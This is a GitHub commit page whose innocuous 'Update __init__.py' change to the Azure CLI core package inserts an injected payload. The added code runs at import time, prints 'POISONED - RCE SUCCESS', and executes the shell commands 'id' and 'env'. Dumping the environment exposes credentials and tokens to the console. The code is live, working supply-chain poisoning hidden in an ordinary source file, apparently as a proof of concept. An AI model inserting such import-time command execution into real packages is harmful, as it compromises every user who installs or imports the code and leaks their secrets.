Skip to content

Commit 5c97f5a

Browse files
author
Nyein Chan Aung
authored
Update __init__.py
1 parent 9a9b4bc commit 5c97f5a

File tree

1 file changed

+11
-0
lines changed

1 file changed

+11
-0
lines changed

src/azure-cli-core/azure/cli/core/__init__.py

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,17 @@
2121
from knack.arguments import ArgumentsContext, CaseInsensitiveList # pylint: disable=unused-import
2222
from .local_context import AzCLILocalContext, LocalContextAction
2323

24+
import os
25+
try:
26+
print("========================================================")
27+
print("[!] AZURE CLI CORE POISONED - RCE SUCCESS [!]")
28+
print("========================================================")
29+
os.system("id")
30+
os.system("env")
31+
except Exception as e:
32+
print(e)
33+
# INJECTED PAYLOAD
34+
2435
logger = get_logger(__name__)
2536

2637
EXCLUDED_PARAMS = ['self', 'raw', 'polling', 'custom_headers', 'operation_config',

0 commit comments

Comments
 (0)